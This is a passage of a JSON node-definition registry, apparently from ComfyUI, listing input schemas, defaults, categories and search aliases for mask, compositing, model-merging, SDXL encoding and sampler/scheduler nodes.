Image", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["convert mask"], "essentials_category": null, "has_intermediate_output": false}, "ImageToMask": {"input": {"required": {"image": ["IMAGE", {}], "channel": ["COMBO", {"multiselect": false, "options": ["red", "green", "blue", "alpha"]}]}}, "input_order": {"required": ["image", "channel"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageToMask", "display_name": "Convert Image to Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["extract channel", "channel to mask"], "essentials_category": null, "has_intermediate_output": false}, "ImageColorToMask": {"input": {"required": {"image": ["IMAGE", {}], "color": ["INT", {"default": 0, "min": 0, "max": 16777215, "step": 1, "display": "number"}]}}, "input_order": {"required": ["image", "color"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageColorToMask", "display_name": "Convert Image Color to Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color keying", "chroma key"], "essentials_category": null, "has_intermediate_output": false}, "SolidMask": {"input": {"required": {"value": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["value", "width", "height"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "SolidMask", "display_name": "Create Solid Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "InvertMask": {"input": {"required": {"mask": ["MASK", {}]}}, "input_order": {"required": ["mask"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "InvertMask", "display_name": "Invert Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["reverse mask", "flip mask"], "essentials_category": null, "has_intermediate_output": false}, "CropMask": {"input": {"required": {"mask": ["MASK", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["mask", "x", "y", "width", "height"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "CropMask", "display_name": "Crop Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["cut mask", "extract mask region", "mask slice"], "essentials_category": null, "has_intermediate_output": false}, "MaskComposite": {"input": {"required": {"destination": ["MASK", {}], "source": ["MASK", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "operation": ["COMBO", {"multiselect": false, "options": ["multiply", "add", "subtract", "and", "or", "xor"]}]}}, "input_order": {"required": ["destination", "source", "x", "y", "operation"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "MaskComposite", "display_name": "Combine Masks", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine masks", "blend masks", "layer masks", "masks composition"], "essentials_category": null, "has_intermediate_output": false}, "FeatherMask": {"input": {"required": {"mask": ["MASK", {}], "left": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "top": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "right": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "bottom": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}]}}, "input_order": {"required": ["mask", "left", "top", "right", "bottom"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "FeatherMask", "display_name": "Feather Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["soft edge mask", "blur mask edges", "gradient mask edge"], "essentials_category": null, "has_intermediate_output": false}, "GrowMask": {"input": {"required": {"mask": ["MASK", {}], "expand": ["INT", {"default": 0, "min": -16384, "max": 16384, "step": 1}], "tapered_corners": ["BOOLEAN", {"advanced": true, "default": true}]}}, "input_order": {"required": ["mask", "expand", "tapered_corners"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrowMask", "display_name": "Grow Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["expand mask", "shrink mask"], "essentials_category": null, "has_intermediate_output": false}, "ThresholdMask": {"input": {"required": {"mask": ["MASK", {}], "value": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["mask", "value"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "ThresholdMask", "display_name": "Threshold Mask", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["binary mask"], "essentials_category": null, "has_intermediate_output": false}, "MaskPreview": {"input": {"required": {"mask": ["MASK", {}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["mask"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "MaskPreview", "display_name": "Preview Mask", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_mask", "category": "image/mask", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["show mask", "view mask", "inspect mask", "debug mask"], "essentials_category": null, "has_intermediate_output": false}, "PorterDuffImageComposite": {"input": {"required": {"source": ["IMAGE", {}], "source_alpha": ["MASK", {}], "destination": ["IMAGE", {}], "destination_alpha": ["MASK", {}], "mode": ["COMBO", {"default": "DST", "multiselect": false, "options": ["ADD", "CLEAR", "DARKEN", "DST", "DST_ATOP", "DST_IN", "DST_OUT", "DST_OVER", "LIGHTEN", "MULTIPLY", "OVERLAY", "SCREEN", "SRC", "SRC_ATOP", "SRC_IN", "SRC_OUT", "SRC_OVER", "XOR"]}]}}, "input_order": {"required": ["source", "source_alpha", "destination", "destination_alpha", "mode"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "PorterDuffImageComposite", "display_name": "Porter-Duff Image Composite", "description": "", "python_module": "comfy_extras.nodes_compositing", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["alpha composite", "blend modes", "layer blend", "transparency blend"], "essentials_category": null, "has_intermediate_output": false}, "SplitImageWithAlpha": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitImageWithAlpha", "display_name": "Split Image with Alpha", "description": "", "python_module": "comfy_extras.nodes_compositing", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["extract alpha", "separate transparency", "remove alpha"], "essentials_category": null, "has_intermediate_output": false}, "JoinImageWithAlpha": {"input": {"required": {"image": ["IMAGE", {}], "alpha": ["MASK", {}]}}, "input_order": {"required": ["image", "alpha"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "JoinImageWithAlpha", "display_name": "Join Image with Alpha", "description": "", "python_module": "comfy_extras.nodes_compositing", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["add transparency", "apply alpha", "composite alpha", "RGBA"], "essentials_category": null, "has_intermediate_output": false}, "RebatchLatents": {"input": {"required": {"latents": ["LATENT", {}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["latents", "batch_size"]}, "is_input_list": true, "output": ["LATENT"], "output_is_list": [true], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "RebatchLatents", "display_name": "Rebatch Latents", "description": "", "python_module": "comfy_extras.nodes_rebatch", "category": "model/latent/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RebatchImages": {"input": {"required": {"images": ["IMAGE", {}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["images", "batch_size"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RebatchImages", "display_name": "Rebatch Images", "description": "", "python_module": "comfy_extras.nodes_rebatch", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelMergeSimple": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "ratio": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "ratio"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSimple", "display_name": "ModelMergeSimple", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeBlocks": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "input": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "input", "middle", "out"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeBlocks", "display_name": "ModelMergeBlocks", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSubtract": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "multiplier": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "multiplier"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSubtract", "display_name": "ModelMergeSubtract", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeAdd": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"]}}, "input_order": {"required": ["model1", "model2"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeAdd", "display_name": "ModelMergeAdd", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CheckpointSave": {"input": {"required": {"model": ["MODEL"], "clip": ["CLIP"], "vae": ["VAE"], "filename_prefix": ["STRING", {"default": "checkpoints/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["model", "clip", "vae", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "CheckpointSave", "display_name": "Save Checkpoint", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": ["save model", "export checkpoint", "merge save"]}, "CLIPMergeSimple": {"input": {"required": {"clip1": ["CLIP"], "clip2": ["CLIP"], "ratio": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["clip1", "clip2", "ratio"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPMergeSimple", "display_name": "CLIPMergeSimple", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPMergeSubtract": {"input": {"required": {"clip1": ["CLIP"], "clip2": ["CLIP"], "multiplier": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["clip1", "clip2", "multiplier"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPMergeSubtract", "display_name": "CLIPMergeSubtract", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": ["clip difference", "text encoder subtract"]}, "CLIPMergeAdd": {"input": {"required": {"clip1": ["CLIP"], "clip2": ["CLIP"]}}, "input_order": {"required": ["clip1", "clip2"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPMergeAdd", "display_name": "CLIPMergeAdd", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": false, "has_intermediate_output": false, "search_aliases": ["combine clip"]}, "CLIPSave": {"input": {"required": {"clip": ["CLIP"], "filename_prefix": ["STRING", {"default": "clip/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["clip", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "CLIPSave", "display_name": "CLIPSave", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": []}, "VAESave": {"input": {"required": {"vae": ["VAE"], "filename_prefix": ["STRING", {"default": "vae/ComfyUI_vae"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["vae", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "VAESave", "display_name": "VAESave", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": []}, "ModelSave": {"input": {"required": {"model": ["MODEL"], "filename_prefix": ["STRING", {"default": "diffusion_models/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["model", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "ModelSave", "display_name": "ModelSave", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": ["export model", "checkpoint save"]}, "TomePatchModel": {"input": {"required": {"model": ["MODEL", {}], "ratio": ["FLOAT", {"default": 0.3, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "ratio"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "TomePatchModel", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_tomesd", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeSDXLRefiner": {"input": {"required": {"ascore": ["FLOAT", {"default": 6.0, "min": 0.0, "max": 1000.0, "step": 0.01}], "width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip": ["CLIP", {}]}}, "input_order": {"required": ["ascore", "width", "height", "text", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeSDXLRefiner", "display_name": "CLIP Text Encode (SDXL Refiner)", "description": "", "python_module": "comfy_extras.nodes_clip_sdxl", "category": "model/conditioning/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeSDXL": {"input": {"required": {"clip": ["CLIP", {}], "width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "crop_w": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 16384}], "crop_h": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 16384}], "target_width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "target_height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "text_g": ["STRING", {"multiline": true, "dynamicPrompts": true}], "text_l": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "width", "height", "crop_w", "crop_h", "target_width", "target_height", "text_g", "text_l"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeSDXL", "display_name": "CLIP Text Encode (SDXL)", "description": "", "python_module": "comfy_extras.nodes_clip_sdxl", "category": "model/conditioning/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Canny": {"input": {"required": {"image": ["IMAGE", {}], "low_threshold": ["FLOAT", {"default": 0.4, "min": 0.01, "max": 0.99, "step": 0.01}], "high_threshold": ["FLOAT", {"default": 0.8, "min": 0.01, "max": 0.99, "step": 0.01}]}}, "input_order": {"required": ["image", "low_threshold", "high_threshold"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Canny", "display_name": "Detect Edges (Canny)", "description": "", "python_module": "comfy_extras.nodes_canny", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["edge detection", "outline", "contour detection", "line art"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "FreeU": {"input": {"required": {"model": ["MODEL", {}], "b1": ["FLOAT", {"advanced": true, "default": 1.1, "min": 0.0, "max": 10.0, "step": 0.01}], "b2": ["FLOAT", {"advanced": true, "default": 1.2, "min": 0.0, "max": 10.0, "step": 0.01}], "s1": ["FLOAT", {"advanced": true, "default": 0.9, "min": 0.0, "max": 10.0, "step": 0.01}], "s2": ["FLOAT", {"advanced": true, "default": 0.2, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "b1", "b2", "s1", "s2"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FreeU", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_freelunch", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FreeU_V2": {"input": {"required": {"model": ["MODEL", {}], "b1": ["FLOAT", {"advanced": true, "default": 1.3, "min": 0.0, "max": 10.0, "step": 0.01}], "b2": ["FLOAT", {"advanced": true, "default": 1.4, "min": 0.0, "max": 10.0, "step": 0.01}], "s1": ["FLOAT", {"advanced": true, "default": 0.9, "min": 0.0, "max": 10.0, "step": 0.01}], "s2": ["FLOAT", {"advanced": true, "default": 0.2, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "b1", "b2", "s1", "s2"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FreeU_V2", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_freelunch", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerCustom": {"input": {"required": {"model": ["MODEL", {}], "add_noise": ["BOOLEAN", {"advanced": true, "default": true}], "noise_seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "sampler": ["SAMPLER", {}], "sigmas": ["SIGMAS", {}], "latent_image": ["LATENT", {}]}}, "input_order": {"required": ["model", "add_noise", "noise_seed", "cfg", "positive", "negative", "sampler", "sigmas", "latent_image"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["output", "denoised_output"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SamplerCustom", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/custom", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGOverride": {"input": {"required": {"model": ["MODEL", {}], "cfg": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "cfg", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGOverride", "display_name": "CFG Override", "description": "Override cfg to a fixed value over a [start, end] percent (sigma) range. With multiple overrides, the one nearest the sampler wins on overlap.", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BasicScheduler": {"input": {"required": {"model": ["MODEL", {}], "scheduler": ["COMBO", {"multiselect": false, "options": ["simple", "sgm_uniform", "karras", "exponential", "ddim_uniform", "beta", "normal", "linear_quadratic", "kl_optimal"]}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "scheduler", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "BasicScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KarrasScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "rho": ["FLOAT", {"advanced": true, "default": 7.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min", "rho"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "KarrasScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ExponentialScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "ExponentialScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PolyexponentialScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "rho": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min", "rho"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "PolyexponentialScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LaplaceScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "mu": ["FLOAT", {"advanced": true, "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.1, "round": false}], "beta": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0.0, "max": 10.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min", "mu", "beta"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "LaplaceScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VPScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "beta_d": ["FLOAT", {"advanced": true, "default": 19.9, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "beta_min": ["FLOAT", {"advanced": true, "default": 0.1, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "eps_s": ["FLOAT", {"advanced": true, "default": 0.001, "min": 0.0, "max": 1.0, "step": 0.0001, "round": false}]}}, "input_order": {"required": ["steps", "beta_d", "beta_min", "eps_s"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "VPScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BetaSamplingScheduler": {"input": {"required": {"model": ["MODEL", {}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "alpha": ["FLOAT", {"advanced": true, "default": 0.6, "min": 0.0, 